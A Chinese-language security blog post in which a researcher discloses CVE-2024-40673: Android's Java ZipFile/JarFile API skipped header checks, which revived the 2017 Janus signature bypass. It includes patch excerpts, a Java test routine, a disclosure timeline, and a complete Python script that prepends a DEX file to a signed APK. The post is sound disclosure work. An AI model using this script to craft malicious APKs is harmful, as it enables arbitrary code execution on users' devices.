背景
Google在2024年10月的Android安全公告中，终于披露了我之前发现的CVE-2024-40673漏洞，并给予了高严重性和RCE的漏洞分类。这个漏洞的发现过程也算是机缘巧合，今天就来聊聊CVE-2024-40673这个漏洞。
CVE-2017-13156
因为标题是“Janus漏洞再现”，所以有必要先来回顾一下Janus漏洞，也就是CVE-2017-13156。这个漏洞讲述的是在APK V1签名校验的过程中没有对APK文件头进行检查，使得攻击者可以在APK文件前面拼接一个DEX文件，实现执行任意代码。这个漏洞的核心点有二：
- Android系统中的ZIP文件解析的时候是从文件末尾逐个读取解析ZipEntry，并按照偏移提取每个文件，而没有关注文件头是否是合法的ZIP文件magic；
- ART虚拟机会检查文件头是DEX还是ZIP，从而决定是加载一个DEX文件还是一个APK文件。
结果就是ZIP文件解析的时候忽略掉了DEX，而ART加载的时候却加载了头部的DEX文件，造成了签名检查绕过，执行任意代码。然后我们再看这个漏洞的补丁：
uint32_t lfh_start_bytes;
if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes),
sizeof(uint32_t), 0)) {
ALOGW("Zip: Unable to read header for entry at offset == 0.");
return -1;
}
if (lfh_start_bytes != LocalFileHeader::kSignature) {
ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes);
#if defined(__ANDROID__)
android_errorWriteLog(0x534e4554, "64211847");
#endif
return -1;
}修改的文件是/system/core/libziparchive/zip_archive.cc，是属于libziparchive模块，查看该模块的Android.bp文件发现，这个模块提供了unzip这个binary，也就是说2017年Google是对unzip这个二进制进行了修复。那么在Android中还有没有其他解压缩的API呢？
Java ZipEntry API
实际上在Java层也有处理ZIP文件的API，也就是ZipEntry API，使用方法如下：
ZipFile zipFile = new ZipFile(zipFile);
Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
while (zipEntries.hasMoreElements()) {
ZipEntry entry = zipEntries.nextElement();
Log.i(TAG, "ZipEntry: " + entry.getName());
}同时Android还提供了JarEntry，查看代码发现实际上就是ZipEntry的封装，不再赘述。那么这两个API有没有检查ZIP文件头的magic呢？答案居然是没有：
private void exploitJanus() {
try {
PackageManager pm = getPackageManager();
AssetManager assetManager = getAssets();
File outJarFile = new File(getFilesDir(), "exp.apk");
FileOutputStream fos = new FileOutputStream(outJarFile);
long sizeCopied = FileUtils.copy(assetManager.open("exp.apk"), fos);
if (sizeCopied > 0) {
Log.i(TAG, "Copy success: " + sizeCopied);
JarFile jarFile = new JarFile(outJarFile);
Enumeration<JarEntry> entries = jarFile.entries();
while (entries.hasMoreElements()) {
JarEntry entry = entries.nextElement();
Log.i(TAG, "JarEntry: " + entry.getName());
}
jarFile.close();
ZipFile zipFile = new ZipFile(outJarFile);
Enumeration<? extends ZipEntry> zipEntries = zipFile.entries();
while (zipEntries.hasMoreElements()) {
ZipEntry entry = zipEntries.nextElement();
Log.i(TAG, "ZipEntry: " + entry.getName());
}
jarFile.close();
}
} catch (IOException e) {
e.printStackTrace();
}
}这个exp.apk是由CVE-2017-13156的利用代码实现的：
#!/usr/bin/python
import sys
import struct
import hashlib
from zlib import adler32
def update_checksum(data):
m = hashlib.sha1()
m.update(data[32:])
data[12:12+20] = m.digest()
v = adler32(memoryview(data[12:])) & 0xffffffff
data[8:12] = struct.pack("<L", v)
def main():
if len(sys.argv) != 4:
print("usage: %s dex apk out_apk" % __file__)
return
_, dex, apk, out_apk = sys.argv
with open(dex, 'rb') as f:
dex_data = bytearray(f.read())
dex_size = len(dex_data)
with open(apk, 'rb') as f:
apk_data = bytearray(f.read())
cd_end_addr = apk_data.rfind(b'\x50\x4b\x05\x06')
cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)
pos = cd_start_addr
while (pos < cd_end_addr):
offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
pos = apk_data.find(b"\x50\x4b\x01\x02", pos+46, cd_end_addr)
if pos == -1:
break
out_data = dex_data + apk_data
out_data[32:36] = struct.pack("<L", len(out_data))
update_checksum(out_data)
with open(out_apk, "wb") as f:
f.write(out_data)
print ('%s generated' % out_apk)
if __name__ == '__main__':
main()DEX和APK文件可以自己选择，经过测试发现，在2024-10-01之前补丁的Android 14设备上，ZIP文件可以被正常解析并且不会出现任何错误和异常，头部的DEX被完全忽略。
ART的处理逻辑
上面我们提到了，ART虚拟机会检查文件头是DEX还是ZIP，从而决定是加载一个DEX文件还是一个APK文件，那么这个特性有没有变化呢？我们使用dex2oat命令进行了测试发现，这个特性没有变化，app_process命令理应也如此，毕竟在2017年修复漏洞时，Google并没有对ART引入任何漏洞的修复，而且这个判断文件头的逻辑也比较合理，没有修改的必要。
总结
由于PackageManagerService是利用libziparchive去解析ZIP文件的，所以这个漏洞并不像当年Janus漏洞一样可以直接通过安装一个APK来实现。但是我发现很多应用的动态代码加载（DCL）逻辑还是使用的V1签名，并且还是利用JarEntry API去进行的解析，那么这部分应用的不安全的DCL就会受到影响。这也是Google经过综合考虑将该漏洞授予RCE分类，而当年的Janus漏洞却只是EoP分类的原因。这里可以看到Google是从整个Android生态系统的角度来看待安全，就好像之前“修复”了unzip命令的路径回溯问题一样，对于这类API上的问题，不能只考虑对系统的影响，也要考虑生态系统中可能存在很多“小白”开发者直接误用这些API的风险。由此给Google对Android生态系统负责任的态度点一个赞。
补丁
在Java ZipEntry API的底层库libcore/ojluni中修复了这个问题：
// BEGIN Android-changed: do not accept files with invalid header.
if (!LOCSIG_AT(errbuf) && !ENDSIG_AT(errbuf)) {
if (pmsg) {
*pmsg = strdup("Entry at offset zero has invalid LFH signature.");
}
ZFILE_Close(zfd);
freeZip(zip);
return NULL;
}
// END Android-changed: do not accept files with invalid header.并且commit中也描述了：
This aligns ZipFile with libziparchive modulo empty zip files – libziparchive rejects them.
时间线
2023-11-09 初始报告提交到了Google IssueTracker
2024-01-10 因为之前的报告没有得到回应，重新提交报告到了Google Bug Hunters
2024-01-16 与Google确认了漏洞部分的细节
2024-02-26 Google确认漏洞，级别为高
2024-09-25 Google分配CVE编号CVE-2024-40673，并确认将在2024-10-01补丁中发布
2024-10-08 Google发布2024-10的Android安全公告披露漏洞补丁
2024-10-10 本文章发表